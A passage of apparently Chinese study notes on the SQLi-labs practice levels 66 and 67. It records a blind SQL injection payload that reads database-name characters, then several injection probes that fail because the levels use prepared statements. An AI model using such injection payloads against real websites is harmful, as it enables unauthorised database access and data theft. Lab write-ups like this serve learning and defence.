?id=1") and ascii(substr(database(),1,1))=99 --+ 回顯(challenges:c)
less-66
空白頁面
?id=1 顯示:Array ( [username] => Dumb [0] => Dumb )
?id=1 '、"、)、')、")、))頁面均沒有反應(yīng)
?id=1 or 1=2 ?id=1 or 1=1 ?id=1 and 1=1 ?id=1 and 1=2 也沒反應(yīng)
查看源代碼: prepare("select username from users where id=?") 對查詢語句進(jìn)行了預(yù)編譯,似乎無法進(jìn)行SQL注入
less-67
是一個index of的目錄結(jié)構(gòu)界面
選擇part-1
是一個登錄界面 Username: Password: Array ( [0] => ?[@uid] => ?)
Username:dumb Password:dumb Array ( [0] =>1 ?[@uid] =>1 ?)
查詢用戶的uid編碼。。。
part-2是一個登錄界面
Username: Password:
Username:dumb Password:dumb 提交后 Username: Password: Welcome.
錯誤提交顯示:Invalid password.
源代碼中同樣進(jìn)行預(yù)編譯,似乎無法進(jìn)行SQL注入